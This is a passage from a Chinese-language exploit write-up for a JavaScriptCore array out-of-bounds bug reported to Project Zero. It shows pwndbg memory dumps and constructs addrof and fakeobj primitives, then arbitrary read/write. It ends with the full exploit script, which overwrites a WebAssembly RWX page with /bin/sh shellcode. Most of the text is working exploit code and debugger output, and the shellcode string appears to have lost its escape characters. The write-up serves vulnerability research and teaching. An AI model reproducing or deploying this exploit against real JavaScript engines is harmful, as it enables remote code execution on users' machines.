0x00007ffff3a8a600 0x7fe0000e0008: 0x00000000badbeef0 0x00007ffff3a8a600 0x7fe0000e0018: 0x00000000badbeef0 0x00000000badbeef0 0x7fe0000e0028: 0x00000000badbeef0 0x00000000badbeef0 0x7fe0000e0038: 0x00000000badbeef0 0x00000000badbeef0 0x7fe0000e0048: 0x00000000badbeef0 0x00000000badbeef0 0x7fe0000e0058: 0x00000000badbeef0 0x00000000badbeef0 pwndbg> x/10xg 0x00007fe8000ff000-0x10 0x7fe8000feff0: 0x0000000000000000 0x0000000000000000 0x7fe8000ff000: 0x0000000000001337 0x0000000000000000 0x7fe8000ff010: 0x0000000000000000 0x0000000000000000 0x7fe8000ff020: 0x0000000000000000 0x0000000000000000 0x7fe8000ff030: 0x0000000000000000 0x0000000000000000
而且經過調試可以發現container中保存exp中jscell位置的值比i32中高8位的值大0x10000,所以exp中i32高8位-0x10000。
[*] container: --> Object: 0x7fffb30c8380 with butterfly (nil) (Structure 0x7fffb3070e70:[Object, {jscell:0, butterfly:1}, NonArray, Proto:0x7fffb30b4000, Leaf]), StructureID: 320 pwndbg> x/10xg 0x7fffb30c8380 0x7fffb30c8380: 0x0100160000000140 0x0000000000000000 0x7fffb30c8390: 0x0001000000001337 0x00007fffb1c551f0 0x7fffb30c83a0: 0x00000000badbeef0 0x00000000badbeef0 0x7fffb30c83b0: 0x00000000badbeef0 0x00000000badbeef0 0x7fffb30c83c0: 0x00000000badbeef0 0x00000000badbeef0
關於i32和f64使用相同內存存儲,在JSArrayBufferView.h中有解釋WastefulTypedArray類型的存儲,WastefulTypedArray類型的butterfly並不包含vector。
// A typed array that was used in some crazy way. B's IndexingHeader // is hijacked to contain a reference to the native array buffer. The // native typed array view points back to the JS view. V points to a // vector allocated using who-knows-what, and M = WastefulTypedArray. // The view does not own the vector.
pwndbg> p *(JSC::JSArrayBufferView*)0x7fffb30c8340 $1 = { ...... m_vector = { static kind = Gigacage::Primitive, m_barrier = { m_value = { static kind = Gigacage::Primitive, m_ptr = 0x7fe8000ff000 } } }, m_length = 1, m_mode = JSC::TypedArrayMode::WastefulTypedArray }
arbitrary read/write
這樣構造的container如下
[*] container: --> Object: 0x7fffb30c8380 with butterfly (nil) (Structure 0x7fffb3070e70:[Object, {jscell:0, butterfly:1}, NonArray, Proto:0x7fffb30b4000, Leaf]), StructureID: 320 [*] victim: --> Object: 0x7fffb1a551f0 with butterfly 0x7ff000280058 (Structure 0x7fffb3070d90:[Array, {prop:100, prop1:101}, ArrayWithDouble, Proto:0x7fffb30c80a0, Leaf]), StructureID: 318 pwndbg> x/6xg 0x7fffb30c8380 0x7fffb30c8380: 0x0100160000000140 0x0000000000000000 0x7fffb30c8390: 0x0108210700000064 0x00007fffb1a551f0 0x7fffb30c83a0: 0x00000000badbeef0 0x00000000badbeef0
即*(dword*)(container+0x10)的位置爲僞造的ArrayWithArrayStorage類型數組,fakeobj(container+0x10)構造butterfly爲victim的fakeobj記hax。
[*] hax: --> Object: 0x7fffb30c8390 with butterfly 0x7fffb1a551f0 (Structure 0x7fffb30f2b50:[Array, {}, ArrayWithArrayStorage, Proto:0x7fffb30c80a0, Leaf]), StructureID: 100
這時內存的存儲結構爲hax.butterfly->victim,其中ArrayWithArrayStorage類型的數據直接存放在butterfly裏,hax的butterfly可以通過hax[1]訪問修改,victim.prop也可以修改,由於ArrayWithDouble類型數據的prop存放在*(dword*)(butterfly-0x10)的位置,我們修改hax.butterfly爲addr+0x10即可實現addr處的任意地址讀寫。
read64: function(addr){ hax[1] = i2f(addr + 0x10); return addrof(victim.prop); }, write64: function(addr,data){ hax[1] = i2f(addr+0x10); victim.prop = fakeobj(data); }
這裏的addrof和fakeobj的作用實際上是讀寫相應位置的數和進制轉換。
有了任意地址讀寫的原語我們就可以通過覆蓋wasm的rwx內存執行shellcode。
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; addr_f = addrof(f); var addr_p = this.read64(addr_f + 0x40); var addr_shellcode = this.read64(addr_p); print("0x"+addr_f.toString(16)) print("0x"+addr_p.toString(16)) print("0x"+addr_shellcode.toString(16)); shellcode = "j;Xx99RHxbb//bin/shST_RWT^x0fx05" this.write(addr_shellcode, shellcode);
這裏的wasm_code作用是調用wasm模塊生成一個用於保存機器碼的rwx的頁,內容並不重要。js引擎實現wasm的方法一般是先用匯編初始化wasm模塊,然後跳轉到rwx的頁面執行真正用戶調用的內容;js引擎在執行用戶調用的wasm時需要找到保存這段字節碼的頁面,rwx的頁面地址會或隱式或顯示地保存在內存裏,我們只需要調試找到rwx頁面的地址並覆蓋其內容即可。
完整exp
這裏的exp較lokihardt的原版有修改,去掉了lokihardt利用unboxed2和boxed2指向相同內存構造第二個fakeobj和addrof原語的部分(作者認爲這一部分或許是lokihardt爲了顯示OOB這類漏洞的另一種通用構造fakeobj、addrof原語的方法,但是並不是必要的,去掉更容易理解而且並不影響exp的穩定性)
lokihardt的原exp:
var conversion_buffer = new ArrayBuffer(8) var f64 = new Float64Array(conversion_buffer) var i32 = new Uint32Array(conversion_buffer) var BASE32 = 0x100000000 function f2i(f) { f64[0] = f return i32[0] + BASE32 * i32[1] } function i2f(i) { i32[0] = i % BASE32 i32[1] = i / BASE32 return f64[0] } function user_gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } } let arr = [1]; arr.length = 0x100000; arr.splice(0, 0x11); arr.length = 0xfffffff0; let spray = new Array(0x3000); for (let i = 0; i < 0x3000; i += 2) { spray[i] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i]; spray[i+1] = [{},{},{},{},{},{},{},{},{},{}]; } for (let i = 0; i < 0x3000; i += 2) spray[i][0] = i2f(0x1337) arr.splice(0x1000,0,1); fake_index=-1; for(let i=0;i<0x3000;i+=2){ if(spray[i].length!=10){ print("hit: "+i.toString(16)); fake_index=i; break; } } unboxed = spray[fake_index]; boxed = spray[fake_index+1]; function addrof(obj){ boxed[0] = obj; return f2i(unboxed[14]); } function fakeobj(addr){ unboxed[14] = i2f(addr); return boxed[0]; } victim = [1.1]; victim[0] =3.3;; victim['prop'] = 13.37; victim['prop'+1] = 13.37; i32[0]=100; i32[1]=0x01082107 - 0x10000; var container={ jscell:f64[0], butterfly:victim, } container_addr = addrof(container); hax = fakeobj(container_addr+0x10); var stage2={ read64: function(addr){ hax[1] = i2f(addr + 0x10); return addrof(victim.prop); }, write64: function(addr,data){ hax[1] = i2f(addr+0x10); victim.prop = fakeobj(data); }, write: function(addr, shellcode) { var theAddr = addr; for(var i=0;i<shellcode.length;i++){ this.write64(addr+i,shellcode[i].charCodeAt()) } }, pwn: function(){ var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; addr_f = addrof(f); var addr_p = this.read64(addr_f + 0x40); var addr_shellcode = this.read64(addr_p); print("0x"+addr_f.toString(16)) print("0x"+addr_p.toString(16)) print("0x"+addr_shellcode.toString(16)); shellcode = "j;Xx99RHxbb//bin/shST_RWT^x0fx05" this.write(addr_shellcode, shellcode); f(); } } stage2.pwn()
參考鏈接
saelo的jsc利用知識
http://phrack.org/papers/attacking_javascript_engines.html
js引擎的shape和inline cache
https://mathiasbynens.be/notes/shapes-ics
lokihardt提交的漏洞
https://bugs.chromium.org/p/project-zero/issues/detail?id=1685
lokihardt的exp